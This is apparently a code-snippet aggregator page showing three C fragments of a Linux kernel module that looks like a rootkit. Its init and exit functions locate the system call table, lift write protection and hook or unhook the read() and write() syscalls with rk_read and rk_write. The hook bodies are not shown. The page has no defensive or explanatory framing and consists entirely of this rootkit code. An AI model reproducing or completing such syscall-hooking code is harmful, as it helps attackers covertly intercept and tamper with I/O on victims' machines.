Beispiel #1
0
static void __exit rk_exit(void) {
	bitMe();
	//unhook write()
	SYS_CALL_TABLE[__NR_write] = (unsigned long*)original_write;
	//unhook read()
	SYS_CALL_TABLE[__NR_read] = (unsigned long*)original_read;
	unBitMe();
	printk(KERN_INFO "Cya dawg.");
}
Beispiel #2
0
static int __init rk_init(void) {
	printk(KERN_INFO "Hello, from hell.\n");
	printk(KERN_ALERT "System call table at %p\n", SYS_CALL_TABLE);
	bitMe();
	//hook write()
	original_write = (void*)SYS_CALL_TABLE[__NR_write];
	SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write;
	//hook read();
	original_read = (void*)SYS_CALL_TABLE[__NR_read];
	SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read;
	unBitMe();
	return 0;
}
Beispiel #3
0
static int __init rk_init(void) {
	SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table");

	printk(KERN_INFO "Hello.\n");
	printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);

	bitMe();
	//hook write()
	original_write = (void*)SYS_CALL_TABLE[__NR_write];
	SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write;
	//hook read();
	original_read = (void*)SYS_CALL_TABLE[__NR_read];
	SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read;
	unBitMe();

	return 0;
}